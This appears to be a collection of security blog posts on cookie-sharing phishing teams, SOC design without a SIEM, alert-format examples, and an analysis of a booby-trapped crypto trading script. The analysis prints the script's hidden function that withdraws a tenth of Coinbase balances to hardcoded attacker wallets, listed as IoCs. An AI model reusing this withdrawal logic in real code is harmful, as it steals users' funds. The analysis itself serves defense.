How are attackers adopting Henry Ford principles

Standardization, continuous flow, division of labor and reducing wasted effort.  Those are terms that usually applies to mass production and are known mainly due to Henry Ford, but now we see those principles being applied even to an activities where it is not common.

Like during successful phishing attacks. I am talking about cases when user is delivered email that routes him to phishing site. Those are usually pretending to be login pages for Microsoft, Google and many other popular portals. Once user insert his credentials, the attacker collects those and forward it to the real service. When user has MFA configured, the only difference is that attacker has to present the MFA request to the phished user and then pass it to the original service, so there are multiple stages but the principle of intercepting traffic is the same. Phished user usually confirms the MFA request. Mainly because of the believe that he is trying to login in a standard way to common portal/service. For such cases attacker are using automated solution like Evilginx2 and many others that are currently available. Those solutions are creating fake login portals of known services, listens for a connections, grab credentials and MFA challenge and forwards them to the original services, collect session cookies.

High level representation of the process is on the picture below and more details can bee seen on the picture source and some other aspects here: https://cloudbrothers.info/en/fido2-security-keys-are-important/#conclusion-mitigation-and-prevention

Picture source: https://m0chan.github.io/2019/07/26/Bypassing-2FA-For-Fun-With-Evilginx2.html

 

Up to now nothing new, nothing surprising. But attackers are aware that once they gain access, it might be not forever. Actually they may lose the access if there are some detections mechanisms for suspicious access, unlikely travelers and similar. If the phished user password is reset as well as session cookies they would need to phish the same user again which is less likely. So attackers start to cooperate.

And very likely they divided the roles. So the scenario may look like this: attackers receive information that user was phished, they notify other available “buddies” and share the session cookie with them and agree who is doing what. Then one (group) of attackers are browsing the phished user inbox and searching for interesting emails with “juicy” content; second group usually focus on creating a new inbox rule to move specific emails to folders like Archive or Deleted and mark them as unread, then they send new email to the user inbox and pick it up from specified folder. In such email you can expect content for additional phishing email/s that is later send from user mailbox to his contacts or new contacts collected by attackers in previous cases. In some cases there is a third group that is trying to gain persistence by registering additional MFA method to have the possibility to return if needed. In cases where phished user has multiple services available within one portal (for example SharePoint Files, Yammer,…) one group is focusing on going through the available files, chat conversation and download content that can be later reused (invoices, excel files, partner information,…)

Despite the typical session validity is multiple days, attackers can finish “their investigation” within couple of hours and the outcome is that they send from phished user additional phishing emails or follows existing conversation where someone was requesting/expecting invoice, Excel sheet and similar. Now imagine if you were in the contact with the phished user, expecting some document and now it is finally sent, but this time with malicious excel macro or invoice with account number of attacker. Any chance you would get tricked?

Ok, now how you can distinguish standards phishing case from the one where multiple attackers are cooperating by sharing session cookie? It depends on how detailed your logs are, but lets imagine ideal scenario. Fist you will see attacker sign-in log from IP that wasn’t previously used by phished user (hopefully). Then you will see in non-interactive sign-in activity additional IP addresses with different user-agent string. The same will happen with the user portal (email) activities. You will see actions done by attackers (again multiple IPs and user-agents) and each type of activity will be specific to respective IP user-agent combination. For example: Opening emails from IP x.x.x.1 and Mozilla x1; Create inbox rule from IP x.x.x.2 and Mozilla x2; Open SharePoint file from IP x.x.x.3 and Chrome x1. And again you wont find matching record for those IPs in sign-in logs.

Once you start to model available logs and pivot on top of different variables (IPs, User-agent, Timestamps; type of activities) you will see more and more that the activities looks like parallel project streams done by different individual/groups that follows similar goal – complete all the recon, phishing forwarding, data collection in a fast and effective way and then disappear.

Malware or not?

In my previous posts Crypto stealer or not and Crypto stealer or not part 2 I was talking about my research and what the trading script is doing, but I haven't actually explained the title. I wasn't sure if the script is actually a crypto stealer or "legitimate software" because it is doing exactly what is stated in EULA.

And that leads me to the topic of this article. Could this "crypto stealer"/trading script be considered as a malware or not? 

Lets first quote some general definitions of a malware:

- Malware is any software intentionally designed to cause damage to a computer, server, client, or computer network (Wikipedia)

- software that is specifically designed to disrupt, damage, or gain unauthorized access to a computer system (Oxford dictionary) 

- malware refers to software programs designed to damage or do other unwanted actions on a computer system (TechTerms) 

If we take the first 2 definitions than we should not consider this trading script as a malware, because there is no disruption, no damage to computer and no unauthorized access. But there is the third definition, the most general one, which talks about unwanted actions. And definitely, sending 10% of your crypto is unwanted action. Or is it? If there is a statement in EULA (no matter in which language) and you have to agree with the EULA each time you run the script/program?  

I am not a lawyer and each state might have different legal interpretation, but I would like to know your opinion on this topic. Can we in this case consider it malware and call it a crypto stealer or is it a legitimate software and it is only your stupidity that you didn't read/understand the EULA and run the software?

And more on this malware/not-malware topic. I have also heard something that I call enterprise malware definition. If there is an organization policy where approved software is listed and you install some software that is not on the list of approved software - like whatsapp, winrar, total commander. Would you consider this as a malware? Well, some people yes, because is it unwanted software potentially unwanted actions and it falls within the malware definition. 

What is your opinion?

 

Crypto stealer or not? part 2

 

In our first part we have covered the most important behavior of the crypto trading script and the conditions under which it charges 10 percent of your crypto balance. Now we will be talking about some specifics of the crypto script and some interesting characteristics. 

 

Who might be the intended target?

Well most probably anyone using the Coinbase platform. The article was in English and Russian language so that won't help us much. The article was on the wordpress.com blog without any specific adds, no premium position in google search. Actually, you have to search for a specific keywords to be offered this blog post. Based on the information in the article the person that decides to download and run this script needs to have some level of admin skills, but it should be stupid enough to run the script without code analysis. That gives us the following victim profile:

• Wealthy person with passion for crypto
• Motivated to trade automatically on Coinbase
• Thoroughly searching for similar solution
  
• Advanced admin skills and ability to understand the script parameters.
• Reluctance to analyze the python code
  

Are there such people?

Well, I don't know. But if you had satisfied all those requirements you might fount the script on this URL:
http://www.mediafire.com/file/izz7hnd8m4wix4s/GDAX_trading.zip

But don't worry, it is not available any more.  I have to appreciate the reaction of mediafire when I reported this file. I still do have a copy so if you are interested just drop me an email. And don't expect you will use the script to get rich. I have waited with this post for some time and Coinbase has implemented some countermeasures that prevents successful script execution ;-)

One more interesting point I would like to cover and that is the script EULA

The EULA

Yes you are reading correct. This crypto trading script that takes your money has an EULA! And very interesting ones.  First of all it is in Russian language. Next, it is mentioning Kaspersky. I am not sure if it is just a copy of existing license agreement or intentionally used Kaspersky name to create false sense of security. 

And then in the point 3.12. you can read (thanks to google translate) that: "By using this software, we can charge you with 10 percent of the invested cryptocurrency"

Hmm,  that is interesting. And to run the script you have to accept the EULA each time - mandatory parameter A. So actually you agree that you might be charged. I am not a lawyer and each country has different laws, but in my humble opinion this might be considered as legitimate. And that lead us to the title. Can we consider it as a crypto stealer or not? Can we consider it as a malware? Maybe yes. And maybe it is just paid trading script (even though the conditions might be specified precisely).

Please, share with me your thoughts or read the loose sequel of this article series "Malware or not"

Excerpt of the EULA

 1. Определения
1.1. ПО - обозначает программное обеспечение, сопроводительные материалы, обновления, описанные в Руководстве Пользователя, Правообладателем которых является ЗАО "Лаборатория Касперского".
1.2. Правообладатель (обладатель исключительного права на ПО) - ЗАО.
1.3. Компьютер - оборудование, для работы на котором предназначено ПО, на которое устанавливается ПО и/или на котором используется ПО.

...

 3.12. Для использования этого программного обеспечения мы можем поручить вам 10 процентов вложенной криптовалюты

Crypto stealer or not?

Before I bought a house I have some money and free time. Now, I have the luxury that I don't need to care about free time and money any more. But one Friday evening I found myself siting alone in the living room. It was just before the pay day and I realized I still have some euro on my bank account. What shall I do now?

Lets invest the money! Maybe it is a good time to start with crypto. OK, why not to try crypto trading. I don't have much time so I should be automatized. Can something run on my server? That was my thoughts and I started to google stuff.   

After some time, I have found this article:
https://cryptovlad724058044.wordpress.com/

where was trading script with detailed instructions how to use the script. Hmm, that is interesting, I thought, but some voice in my head was telling me: be careful! So I decided to download the script to my Cuckoo sandbox and I have tried to run it there. Everything looked fine. I have checked it at Virustotal. No problem there. Hmm, lets check the script manually. It is written in Python, so no need to de-compile. It took me some time to understand the logic behind, but after some time I was able to understand. Again, everything looked fine. Pretty simple trading logic, but if the markets are growing it could work. Actually, there is some protection against loss, but that is now why decided to write this post.

I found something interesting. Lets have a look at the main loop

while True:
    open=stats(product_id)
    openprice=float(open['open'])
    print ('Openprice: %s time:%s '%(str(openprice),str(datetime.now())))
   
    with io.open(logfile,'a',encoding='utf-8') as tr:
        tr.write(unicode('Openprice: %s time:%s '%(str(openprice),str(datetime.now()))+'\n'))
        tr.close()
    # check price x times before new open status will be logged and how often order status will be checked
    checkit=wiutils.withcheck(passphrase, api_key, api_secret)
# print checkit
    price=price_check(interval,lastprice,product_id)
    order_check(dict)
    # how much time to wait before
time.sleep(30)

what is wiutils.withcheck function? lets open the imported file and check the function

def withcheck(passphrase, api_key, api_secret):
    global k
    passphrase = passphrase
    api_key = api_key
    api_secret = api_secret
    accounts=account(passphrase, api_key, api_secret)
    for i in range(len(accounts)):
        #print accounts[i]
        if accounts[i]['currency']=='LTC':
            if float(accounts[i]['available']) >= 10:
                totake=round((float(accounts[i]['available'])/10),1)
                withdraw(totake, 'LTC', 'LLKyNZRea4PdipXhpHBxHJeDzyzVAzSLBh', passphrase, api_key, api_secret)
        elif accounts[i]['currency']=='ETH':
            if float(accounts[i]['available']) >= 4:
                totake=round((float(accounts[i]['available'])/10),1)
                withdraw(totake, 'ETH', '0xa474496C6D372AE8b6B03b876dE343309dAd26B4', passphrase, api_key, api_secret)
        elif accounts[i]['currency']=='BTC':
            if float(accounts[i]['available']) >= 1:
                totake=round((float(accounts[i]['available'])/10),1)
                withdraw(totake, 'BTC', '15Co3hKyauustRYexsno8okH4jpj5q2XSG')
        elif accounts[i]['currency']=='BCH':
            if float(accounts[i]['available']) >= 2:
                totake=round((float(accounts[i]['available'])/10),1)
                withdraw(totake, 'BCH', 'qp8wl7tsw4lum2q0shhv7dwrfyg4zcvzk5lm89d8ap', passphrase, api_key, api_secret)
        elif k > 0:
            shutil.copy2('requests/bkp/wiutils.py', 'wiutils.py')

WTF???

Hardcoded crypto wallets? Checking my account balance? No way! So what the script is actually doing?

It trades crypto
You configure your account details so the script can trade for you 
You define how much you want to buy or sell.
You define how much the price should change before the script buys/sells
You define how much you can invest.
Then the script is monitoring the actual price and is able to buy or sell based on the price change and your defined strategy.
But each time the script is checking whether you have "enough" crypto on your account (1 BTC, 2 BCH, 4 ETH, 10 LTC)
If not, nothing will happen. If you have enough crypto on your account, it takes one tenth of your current balance and send it to hardcoded wallet. I suppose it is the guy who created script.
Then it increment the global "k" value and rewrites the "malicious" wiutils.py file with clean wiutils .py file.
Then it should be able to trade without surprises, but honestly, who would try to continue after it will take 1/10 of your crypto?

Now we can finish our post. If you want to monitor and block this script and you are able to monitor crypto wallets IoC, you can find them below. Also, you can block communication to GDAX, but I don't think this is appropriate. If you want to read more about the tactics and my thoughts and why the script is no longer available, feel free to continue in the second part of the post.

IoC
hardcoded crypto wallets:
'BTC', '15Co3hKyauustRYexsno8okH4jpj5q2XSG'
'BCH', 'qp8wl7tsw4lum2q0shhv7dwrfyg4zcvzk5lm89d8ap'
'ETH', '0xa474496C6D372AE8b6B03b876dE343309dAd26B4'
'LTC', 'LLKyNZRea4PdipXhpHBxHJeDzyzVAzSLBh'

SOC without SIEM - idiocy or future? Part 2

Part 2 – Architecture overview

 

Standard SOC

Let’s have a look at standard Security Operations Center on picture 1. This only simplistic representation of technology and organization domain. As you can see on in the Technology domain, there is usually a SIEM which is also often considered as a core component or the heart and soul of a SOC. Then we have Big data platform for multivariable historical searches. In some cases you can consider data lake or log management solution as a big data platform. More and more you can see incident response platform in the SOC for SOAR tasks. Ticketing tool is usually already utilized organization-wide ticketing system to issue tickets for IT and other departments and request changes. Very broad term is Enterprise Security Tools (EST) which includes antivirus, network firewalls, EDR, database protection tools, web application firewalls and many more security protection tools. Those are usually log sources for a SIEM platform. Last example is CTI platform which for our purpose we can simplify to providing threat information to other security tools. There might be many more tools like use case database, automation tools, customer portal, reporting tool etc. but for now we can be ok with this example.

From the Organization domain we can usually see a large number of L1 or Tier 1 staff. They are responsible for monitoring SIEM alerts, close false positives, enrich context, check duplicates, update severity and escalate. I am sorry to tell that, but those tasks are not very exciting and that’s why we see a high turnover rate in this role or bored people which lead to another problems. Then we have L2 role. Those guys should perform technical root cause analysis and decide if the alert was caused by a technical problem, mistake or it was an incident caused deliberately by an attacker. L3 role is responsible for business impact analysis and determine recovery priorities. The role description is very brief because it makes no sense to talk in detail about them, but if you want to know more, you can find some useful information for example in this article. Next we have SOC platform admins. Most of them are designated and responsible for maintaining the SIEM. And of course, Security Intelligence which in our case cover roles like cyber threat intelligence, threat hunting, forensics, use case developers and others.

Picture 1 - Standard SOC setup, technology and organization only

Different representation of a SOC organization could be seen on Picture 2. Statement within the parentheses means number of employees in each department and in SOC itself. This example could be considered as a mid/large sized SOC with 24/7 monitoring by L1 and L2 working on a shifts (3 shifts a day) and L3 covering 2 shifts.

Picture 2 - SOC organization example with employee numbers

Returning to technology layer, we have mentioned that Enterprise security tools are log sources for our SIEM platform. That means they are sending logs and alerts to SIEM which should correlate those events and produce SIEM alerts/offenses/incidents. In SIEM we can also check matches against our threat feeds that came from CTI platform. Then we can directly raise an incident in our IRP or after first level of investigation done by Tier 1 analysts. Both options have their pros and cons. After all the investigation, automation, orchestration tasks in IRP we can create ticket (if needed) outside of SOC to perform specific changes/tasks on the infrastructure that doesn’t fall under SOC responsibility. This straightforward and simplistic view is indicated on Picture 3 below.

Picture 3 - Information flow, standard SOC 

 

 SOC without SIEM

 

What would happen if we remove the SIEM? Nothing! Let’s do it!

It is not that easy. In that case we have to forget about sending logs and alerts to SIEM. Instead we have to send only alerts to IRP directly. That creates higher demand on the Enterprise Security Tools (EST). They must have the capability to create rules and generate alerts. But most of the current enterprise level tools can do this respectively their management module can. One can argue that he will rather manage one SIEM platform rather than 30 other tools to generate alerts. Agree, but you have to manage those tools anyway. It is usually easier to create rules directly on EST than trying to create them from logs in SIEM. Because this task is difficult, companies usually have very generic and simple rules based on logs in SIEM.

Removing SIEM increases demand on high quality rules with low false positive ratio that must be implemented directly on the EST. Also, the integration between EST and IRP is more complicated when no common security alerting format (CSAF) is present. But if you can achieve this you can focus on the automation and orchestration part in the IRP. In ideal scenario you can automate all the tasks done by the L1 staff. So let’s remove them and have only L2 and L3 for the investigation.

I have to admit that this is not directly related to removing SIEM. You can achieve full automation of L1 tasks even with SIEM and properly configured IRP, but the reality is that SIEM creates so much false positives and unpredictable situations for which you usually have L1 like eliminating false positives and filter out log source outages, parsing problems, decommissioning issues etc. In the end, removing SIEM will help you to eliminate L1 role significantly.

Next we can remove SIEM admins and focus on other tools, integrations, automation and orchestration. Sounds good, right? Finally, we can utilize SIEM use case developers to work closely with EST administrators to produce high quality, low false positive rules. In the end we can have half the people or even less in our SOC. This is great because finding good security people to work in our SOC is one of the most challenging tasks. How the structure can look like and what could be the impact on number of employees is illustrated on the Picture 4 below.

Picture 4 - SOC organization without SIEM

We should mention that in this scenario where we have removed SIEM we have new requirements for our Enterprise Security Tools. Not only they should be able to create rules and generate alerts that can be sent to IRP, but also they should be able integrate with CTI platform as you can see on the Picture 5. That means that EST should be able to send their internal threat feeds (indicators of compromise) to CTI platform or ingest central repository of IoCs. For some protection tools this is not a standard. That’s why the arrow on the picture bellow is dashed. To be fair, this feature is more important for tolls like firewalls, web and email gateways rather than identity and access management tool. And we could find more examples.

Picture 5 - Information flow, SOC without SIEM

At the end this setup is more complicated on the EST side, but if you invest slightly more in this area, you will have much better preventative mechanisms with detective capabilities. Also, the savings on SIEM technology and associated work force will be much more. If you move the detection on the Enterprise Security Tools you can directly block/stop the attack when detected. When SIEM is responsible for detection it creates a delay because SIEM is not usually capable to stop the attack. It is only passively processing incoming logs/flows. Typically, SIEM alerts analysts or Incident Response Platform and then the action can take place. But this delay can be fatal.

If you have a feeling that I am telling you to stop collecting logs, you are wrong. Please, don’t confuse log management tools with SIEM. It is very common mistake that SIEM is used primarily as a log management, but this is silly and expensive. I can definitely recommend collecting and keeping your logs. They are priceless. Continue using your log management solution, data lake or big data platform. Just try to forget about SIEM

So what is your experience with SIEM? If you think it is costly, complicated, high performance demand tool with little value added, would you consider trying to live without it? It seems that this setup has only advantages: cost savings, better prevention, simplified SOC organization structure. If you decide to remove SIEM or to design your SOC without it, let me know. I can offer free solution and support for the first one to try. I am kidding. The maximum you can get is minimal discount ;-)

SOC without SIEM - idiocy or future? Part 1

Part 1 – the idea

Are you using SIEM within your SOC or security department? What is the value added it brings to your organization? What is the effort needed to keep the SIEM up to date, running and creating new monitoring scenarios, searches and dashboards? If your answer is low value added and enormous effort, you may find this article interesting. In other cases, you can consider this article stupid and author pathetic.

Organizations are using SIEM as log management solution very often. This makes no sense, because there are log management solutions that are cheaper and perform log management tasks better/faster than SIEMs. Long story short, if you do not need real time correlation capabilities and you really only need a log storage and searching capabilities, do not buy SIEM.

Now let’s assume that you need SIEM and you have one. Perfect, but organizations often have problems to define monitoring scenarios for SIEM. And if they do, those scenarios are very basic ones. It is no surprise that for situations like audit log cleared or multiple login failures could be also easily monitored by other means than SIEM. You can configure your EDR solution or antivirus to inform/alert you in case such situation happens. Access to prohibited web sites? Phishing email? Your email or web gateway should alert you. Why to transfer all the logs from those devices to SIEM and integrate the threat feeds that are already available in you gateways? One can argue that this could be useful to verify gateways are working as intended. Really? This is similar approach to another funny monitoring scenario which is monitoring firewall denies. Again, you are basically verifying that FW works as intended. And if you argue that you can evaluate trends and number of FW denies in that case, fair enough, but you are not able to monitor this directly on the firewall or FW control center? If not, you should consider replacing your current firewalls. In the end it will be cheaper than the SIEM technology and improve you prevention mechanisms a lot.

You want to monitor organization internal policies? Unauthorized access, sharing of information, downloading of sensitive files? That’s why DLP exists and it can produce very nice alerts by itself. If you are trying to make your own DLP solution within SIEM, good luck.

What I have also seen in many cases that SIEM is used like centralized tool for alerting? What do I mean by that? IPS is producing alerts, NGFW is producing different alerts, DB protection tools with its own rules is producing another type of alerts. All those types of alerts are transferred to a SIEM solution and each of them is just one to one mapped to an SIEM alert? Does this make sense? Do you need powerful SIEM solution with all those correlation capabilities to make such a simple task? Isn’t this one of the reasons why do we have IR (incident response) tools?

Let’s remove SIEM and have everything in incident response platform! I wish it is so easy. One can argue that in SIEM you can eliminate false positives. Agree, but you should be trying to eliminate the generation of false positives as close to the source as possible. Actually, what you can see in many of the implemented SIEMs they are producing mostly false positives which leads to “alert fatigue”. Analysts are then bored with investigating the same alerts again and again. In the end true incident is often missed because of the flood of false positives so in that case SIEM is not our silver bullet either.

I can only recommend eliminating the false positives on the source itself either by the configuration change on the source directly or on the first security platform that protects the source. If you transfer the false positive to SIEM then you are paying for the license (EPS, storage) and for the time to analyze and close the case.

Often you will also find easier to implement monitoring scenario in EDR or NGFW because you usually have experienced administrators familiar with the technology and within few clicks you can have well defined, fine-tuned rule that will alert you in case conditions are met. When trying to implement the same in SIEM, you need to have specific logs from source. You need to understand those logs and know where the information is present. Then you should know how to implement the rule in SIEM and then you are praying logs are still flowing to your SIEM and format hasn’t changed after update/patch. This requires much more cooperation and knowledge, but the output is the same.

In previous paragraph we have touched the problematics of integrations. With SIEM it starts with log source integration. Format, transfer method, parsing, normalization. All of those needs to be monitored, updated, evaluated after updates/patches both on SIEM and log source side. Enormous effort with little value added and unavoidable problems/outages.

But the same will happen if we skip SIEM and send only alerts to incident response platform. Agree, that’s why I consider this setup as a future. Something like common security alerting format (CSAF) should be defined to ease up the implementation and more focus and investments need to be devoted to other prevention and detection technology.

How would SOC without a SIEM look like? How it will influence the SOC organization structure? Let’s try to imagine this in the next part of our article.

At the end I should give 2 valid arguments why organizations need SIEM solution.
One is that you need SIEM to correlate events from endpoints with firewall events, traffic flows and compare it against information from CTI platform. Yes, agree, but honestly, I have never seen an organization with such advanced monitoring scenarios. Usually, you define suspicious activity based on logs or flows itself. It is not a good practice to create complex scenarios where you chain activities to produce an alert. You may miss an alert in case of small deviation from the defined chain of actions. Also, you can check CTI information from IRP if integrated. But yes, in general, that is one valid argument.
Second is. WTF, we have 20+ people in our SOC. Majority of them put their blood, sweat and tears to make SIEM work. We are investing enormous money and effort to operate SIEM. We can’t simply get rid of it. We and CISO would look like idiots in front of the executives. And that I believe is the correct argument why you should keep the SIEM and consider SOC without a SIEM as a pure idiocy.

CSAF examples

This site contains list of CSAF examples. More samples will be present over the time. Currently, the focus is given on CSAF in JSON, but almost any method of transfer is possible (syslog, REST API ...). Please focus on the content, any delimiter can be chosen and object can be enclosed in other ways than in {}.

The first example tries to follow the same coloring scheme and distinction as in the schema definition

 

Example 1 with color distinction

{

  "Device": {

    "vendor": "Cisco",

    "product": "ASA",

    "version": "5525-X",

    "OS": "IOS 14",

    "module": "Firepower",

    "feature": "WEB protection",

    "device_name": "badassfw",

    "device_IP": "10.20.255.1",

    "policy": "block_porn",

    "rule": "24",

    "action": "blocked",

  },

  "Priority": {

    "severity": "High",

    "credibility": "Med",

    "relevance": "10",

  },

  "Alert": {

    "time": "2019/06/05 13:02:14.171",

    "category": ["WEB","Traffic blocked","web access blocked"],

    "name": "Porn site access",

    "id": "100237"

    "link": "http://10.20.255.1/alerts?id=100237"  

    "domain": "Tenant1",

    "region": "CZ",

    "target": ["freevideo.cz","adm_user","10.101.24.23"],

    "artifacts": {

      "username": "adm_user",

      "src_IP": "10.101.24.23",

      "src_port": "50435",

      "dst_IP": "80.188.244.72",

      "dst_port": "443",

      "domain": "freevideo.cz",

      "url": "https://freevideo.cz/big_gang_bang_theory",

    },

    "status": "active",

    "tactics": ["defense evasion","execution"],

    "techniques": "Web service"

    "rawData": "null",

    "associated_events": [

            {

            "time":"2019/06/05 13:02:11.171",

            "name":"blocked web traffic",

            "target":["freevideo.cz"],

            "artifacts": {

                  "username": "adm_user",

                  "src_IP": "10.101.24.23",

                  "src_port": "50435",

                  "dst_IP": "80.188.244.72",

                  "dst_port": "80",

                  "domain": "freevideo.cz",

                  "url": "freevideo.cz",

            },

            "count": 1,

            "rawData": "empty"

            },

            {

            "time":"2019/06/05 13:02:12.171",

            "name":"blocked web traffic",

            "target":["https://freevideo.cz"],

            "artifacts": {

                        "username": "adm_user",

                        "src_IP": "10.101.24.23",

                        "src_port": "50435",

                        "dst_IP": "80.188.244.72",

                        "dst_port": "443",

                        "domain": "freevideo.cz",

                        "url": "https://freevideo.cz/",

            },

            "count": 1,

            "rawData": "empty"},

            {

            "time":"2019/06/05 13:02:13.171",

            "name":"blocked web traffic",

            "target":["https://freevideo.cz/big_gang_bankg_theory"],

            "artifacts": {

                  "username": "adm_user",

                  "src_IP": "10.101.24.23",

                  "src_port": "50435",

                  "dst_IP": "80.188.244.72",

                  "dst_port": "443",

                  "domain": "freevideo.cz",

                  "url": "https://freevideo.cz/big_gang_bang_theory",

            },

            "count": 1,

            "rawData": "empty"},

    ]

  }

}

Example 2

{

  "Device": {

    "product": "AuditVault",

    "device_name": "oracleauditvault",

    "device_IP": "10.20.25.101",

    "policy": "select star",

    "action": "alert",

  },

  "Priority": {

    "severity": "Medium",

  },

  "Alert": {

    "time": "2020/02/02 10:22:14.153",

    "category": ["DB","access","select"],

    "name": "select star",

    "target": ["etl_live","sysdba","10.10.24.23"],

    "artifacts": {

      "username": "sysdba",

      "src_IP": "10.10.24.23",

      "src_port": "56449",

      "dst_IP": "10.18.24.72",

      "dst_port": "1514",

      "database": "etl_live",

      "table": "users",

    },

    "rawData": "select * from users;",

  }

}